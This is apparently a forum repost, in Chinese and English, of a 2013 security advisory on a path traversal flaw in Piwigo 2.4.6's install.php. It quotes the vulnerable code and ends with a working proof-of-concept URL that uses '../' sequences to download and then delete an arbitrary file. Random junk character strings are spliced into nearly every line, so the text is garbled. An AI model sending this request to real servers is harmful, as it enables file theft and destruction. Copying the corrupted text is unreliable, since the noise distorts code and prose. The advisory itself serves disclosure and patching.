Piwigo是用PHP编写的相册脚本。
% s, _. j5 `( z j6 o! G7 W/ ^; v% n
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。3 H& \9 [, T7 g% I7 h7 `3 J, c
====================================================================
# q$ ~1 ]8 |- @( C/install.php:
t" K7 G. G8 K9 \8 \-------------
$ }: V+ L0 n2 c+ L6 S: _113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
0 R" B5 C B1 x0 Q& P2 |114: {( a# T, J* ~7 w$ n
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
6 l: t! `7 o6 r B2 V116: header('Cache-Control: no-cache, must-revalidate');* R5 w; a' S( `3 w, K* H5 s( r
117: header('Pragma: no-cache');8 j7 Z+ S8 p0 i
118: header('Content-Disposition: attachment; filename="database.inc.php"');6 w/ z8 y+ M8 i) A! u0 ]& l
119: header('Content-Transfer-Encoding: binary');; z% w4 ?9 Q" `
120: header('Content-Length: '.filesize($filename));
j5 D; l4 V5 t2 _$ `$ D7 F6 @+ b1 T0 o121: echo file_get_contents($filename);
! A4 x! K* m# o& U l# M122: unlink($filename);% s$ @4 r" D+ s
123: exit();
) u1 @, ~% p U3 D7 R124: }) [+ @ Y5 t# f
====================================================================
, r% i7 `8 q* L$ Z2 B( e* V2 b
( Y3 g: k' x" N" dTested on: Microsoft Windows 7 Ultimate SP1 (EN)5 L1 L8 a3 u4 d4 O
Apache 2.4.2 (Win32)3 L* G4 [7 N* A7 d1 p7 p
PHP 5.4.4+ Q' w3 v8 v" u9 T A
MySQL 5.5.25a
" Y( K, W8 F \/ ?
7 n! ^8 a6 ~/ L* z- fVulnerability discovered by Gjoko 'LiquidWorm' Krstic3 V s6 [0 k' V1 o5 i; V2 u
@zeroscience2 u" l# n& i1 K+ a9 K" u
9 g l2 g, d$ i6 @2 c
Advisory ID: ZSL-2013-5127
9 v* h0 R7 J; s( M" ~Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php* f, s( u1 m0 O7 e) R
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
! l6 ^' G: U. j' W _$ h' p8 r' Z8 ?! e7 F
5 Y$ w- t7 R6 T3 f% s% f' v15.02.2013
# ]# y* ^2 A/ x9 V
B! o9 w1 b8 L# O, m--
0 ^% u8 V% a: Y; t$ l- ^( Nhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
, G9 x2 @/ n2 p3 P 3 d, [1 ?1 h9 P3 o: c" P) g* G
|